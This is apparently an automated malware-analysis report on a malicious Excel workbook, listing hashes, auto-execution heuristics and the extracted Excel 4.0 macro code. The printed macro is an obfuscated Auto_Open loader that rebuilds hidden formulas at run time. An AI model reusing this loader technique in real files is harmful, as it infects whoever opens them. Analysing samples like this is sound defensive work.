Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 33bba8ea293eb2ec…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:25:02 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: d824f40fad77ebe28eb86d6f501e51fd SHA-1: 03ae41f33d9eb640439a9050f3a511b1ff12a673 SHA-256: 33bba8ea293eb2ec41ee39557da4b4090389575e327890e9c7c70ec1b57e078e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6517 bytes
SHA-256: 5ea5a7a010646624c59ac06f29a489409feeb1a01451596cf4731f923aa0f7cc
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Xswvjhr
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I154 
' 0018     22 LABEL : Cell Value, String Constant - ftYCWJl len=0 
' 0018     22 LABEL : Cell Value, String Constant - HiKbIiU len=0 
' 0018     22 LABEL : Cell Value, String Constant - iGSzLBW len=0 
' 0018     25 LABEL : Cell Value, String Constant - jizLqNpYGG len=0 
' 0018     26 LABEL : Cell Value, String Constant - JovpaniTTxR len=0 
' 0018     22 LABEL : Cell Value, String Constant - lCTrrrP len=0 
' 0018     20 LABEL : Cell Value, String Constant - LMxDe len=0 
' 0018     27 LABEL : Cell Value, String Constant - lZKdAWGlsjDO len=0 
' 0018     23 LABEL : Cell Value, String Constant - mwAqppMG len=0 
' 0018     26 LABEL : Cell Value, String Constant - nlFdBIFFCmR len=0 
' 0018     23 LABEL : Cell Value, String Constant - pklDZtKl len=0 
' 0018     25 LABEL : Cell Value, String Constant - ruzeIzmyfZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - sdbSoNT len=0 
' 0018     22 LABEL : Cell Value, String Constant - sdgmhpm len=0 
' 0018     23 LABEL : Cell Value, String Constant - sLzymkXH len=0 
' 0018     27 LABEL : Cell Value, String Constant - UGTsVYELIkRq len=0 
' 0018     26 LABEL : Cell Value, String Constant - vKKnpnpCuqp len=0 
' 0018     25 LABEL : Cell Value, String Constant - wGAOnyeEJb len=0 
' 0018     24 LABEL : Cell Value, String Constant - xaATbwnZV len=0 
' 0018     20 LABEL : Cell Value, String Constant - XaGnA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Xswvjhr,I53,"SET.NAME("ruzeIzmyfZ",VALUE("0"))",""
'  Xswvjhr,I58,"SET.NAME("UGTsVYELIkRq",ruzeIzmyfZ)",""
'  Xswvjhr,I62,"SET.NAME("sLzymkXH",ruzeIzmyfZ)",""
'  Xswvjhr,I67,"SET.NAME("sdgmhpm",COUNTA(pklDZtKl))",""
'  Xswvjhr,I71,"SET.NAME("sdbSoNT",COUNTA(ftYCWJl))",""
'  Xswvjhr,I73,[],""
'  Xswvjhr,I76,"SET.NAME("mwAqppMG","")",""
'  Xswvjhr,I79,"UGTsVYELIkRq",""
'  Xswvjhr,I83,"SET.NAME("XaGnA",HLOOKUP("*",pklDZtKl,UGTsVYELIkRq,FALSE))",""
'  Xswvjhr,I85,"wGAOnyeEJb",""
'  Xswvjhr,I90,"SET.NAME("iGSzLBW",ruzeIzmyfZ)",""
'  Xswvjhr,I94,[],""
'  Xswvjhr,I99,"iGSzLBW",""
'  Xswvjhr,I104,"LMxDe",""
'  Xswvjhr,I107,"JovpaniTTxR",""
'  Xswvjhr,I110,"HiKbIiU",""
'  Xswvjhr,I113,"SET.NAME("vKKnpnpCuqp",VALUE(HLOOKUP("*",ftYCWJl,HiKbIiU,FALSE)))",""
'  Xswvjhr,I116,"lCTrrrP",""
'  Xswvjhr,I121,"mwAqppMG",""
'  Xswvjhr,I124,"sLzymkXH",""
'  Xswvjhr,I129,NEXT(),""
'  Xswvjhr,I134,"lZKdAWGlsjDO",""
'  Xswvjhr,I139,"SET.NAME("f",INT(T(FORMULA(T(mwAqppMG)&"",""&T(lZKdAWGlsjDO)))))",""
'  Xswvjhr,I142,"jizLqNpYGG",""
'  Xswvjhr,I147,NEXT(),""
'  Xswvjhr,I149,RETURN(),""
'  Xswvjhr,I177,"SET.NAME("xaATbwnZV",I53)",""
'  Xswvjhr,I179,"pklDZtKl",""
'  Xswvjhr,I182,"SET.NAME("ftYCWJl",R42C15)",""
'  Xswvjhr,I185,"SET.NAME("jizLqNpYGG",196)",""
'  Xswvjhr,I190,"SET.NAME("nlFdBIFFCmR",9)",""
'  Xswvjhr,I195,xaATbwnZV(),""
'  Xswvjhr,I196,HALT(),""

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